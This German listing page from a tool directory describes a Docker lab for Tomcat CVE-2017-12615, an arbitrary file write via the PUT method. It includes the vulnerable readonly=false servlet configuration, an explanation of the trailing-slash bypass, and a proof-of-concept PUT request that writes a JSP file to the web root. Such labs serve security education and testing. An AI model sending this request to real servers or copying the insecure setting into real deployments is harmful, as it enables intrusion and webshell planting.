Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tomcat-CVE-2017-12615 — Docker-basierte Lab-Umgebung zum Ausnutzen von Tomcat CVE-2017-12615 – beliebiges Dateischreiben über die PUT-Methode, mit Umgehungstechniken und Proof-of-Concept-Code. | Kitploit
Tools/GitHubGitHub/cyberharsh/tomcat-cve-2017-12615
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubcyberharsh/tomcat-cve-2017-12615

Tomcat-CVE-2017-12615

Docker-basierte Lab-Umgebung zum Ausnutzen von Tomcat CVE-2017-12615 – beliebiges Dateischreiben über die PUT-Methode, mit Umgehungstechniken und Proof-of-Concept-Code.

Repository anzeigen
13vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Tomcat-Schwachstelle zum willkürlichen Schreiben von Dateien mittels PUT-Methode (CVE-2017-12615)

Chinesische Version

Tomcat-Version: 8.5.19

Umgebungseinrichtung

docker-compose build
docker-compose up -d

Nach erfolgreicher Ausführung der obigen Befehle wird die Beispielseite von Tomcat angezeigt, wenn Sie die Seite http://your-ip:8080 besuchen.

Begründung

Referenzlinks:

  • http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
  • https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
  • https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

Tomcat richtet die Schreibberechtigung ein (readonly=false), was dazu führt, dass wir Dateien auf den Server schreiben können.

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

Obwohl Tomcat die Dateierweiterung bis zu einem gewissen Grad überprüft (kann kein jsp direkt schreiben), können wir die Einschränkung dennoch durch einige Dateisystemfunktionen umgehen (z. B. durch Verwendung von / in Linux).

POC

Senden Sie die folgenden Pakete direkt, und die Shell wird in das Web-Root-Verzeichnis geschrieben.

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

Wie folgt:

Tool herunterladen